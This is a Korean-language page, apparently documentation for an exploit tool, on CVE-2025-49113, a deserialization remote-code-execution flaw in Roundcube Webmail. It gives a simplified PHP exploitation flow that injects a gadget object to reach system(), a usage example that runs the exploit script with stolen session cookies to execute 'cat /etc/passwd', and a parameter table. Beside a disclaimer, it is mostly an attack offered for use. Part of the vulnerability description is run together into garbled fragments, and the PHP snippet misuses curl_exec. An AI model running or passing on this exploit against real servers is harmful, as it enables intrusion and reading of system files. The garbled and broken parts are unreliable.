
CVE-2025-49113 - Roundcube 원격 코드 실행
CVE-2025-49113은 Roundcube Webmail에서 인증된 원격 코드 실행을 가능하게 하는 심각한 안전하지 않은 역직렬화 취약점입니다. 이 취약점은 파일 업로드 작업 중 직렬화된 PHP 객체를 부적절하게 처리하는 데서 비롯됩니다.
program/steps/mail/attach.inc에 존재_file 매개변수 메타데이터 처리_form 매개변수를 통한 PHP 세션 주입filename 매개변수를 통한 악성 객체 주입_form 매개변수를 통한 세션 조작 주입system() 함수 활용// Simplified exploitation flow
$target_url = $base_url . "?_task=mail&_action=upload&_form=injected_session_data";
$post_data = [
'_file' => '{"name":"malicious_object_gadget","path":"..."}',
'file' => curl_file_create('fake.png', 'image/png', 'exploit.png')
];
$response = curl_exec($target_url, $post_data);
// Vulnerable deserialization occurs in attach.inc processing
// Gadget chain triggers command execution: system($_POST['cmd']);
php CVE-2025-49113-exploit_cookies.php <url> <cookies> <command>
php CVE-2025-49113-exploit_cookies.php \
https://mail.example.com/roundcube/ \
"roundcube_sessid=abc123; roundcube_sessauth=xyz456" \
"cat /etc/passwd"
이 정보는 교육 목적으로만 제공됩니다. 명시적인 허가 없이 시스템을 대상으로 한 무단 테스트는 불법입니다. 보안 평가를 수행하기 전에 항상 적절한 승인을 받으십시오. 저자와 발행인은 이 정보의 오용에 대해 어떠한 책임도 지지 않습니다.
| Parameter | Description | Example |
|---|
<url> | Roundcube 설치의 기본 URL | https://mail.example.com/roundcube/ |
<cookies> | 유효한 세션 쿠키 | roundcube_sessid=abc123; roundcube_sessauth=xyz456 |
<command> | 실행할 OS 명령 | id 또는 whoami |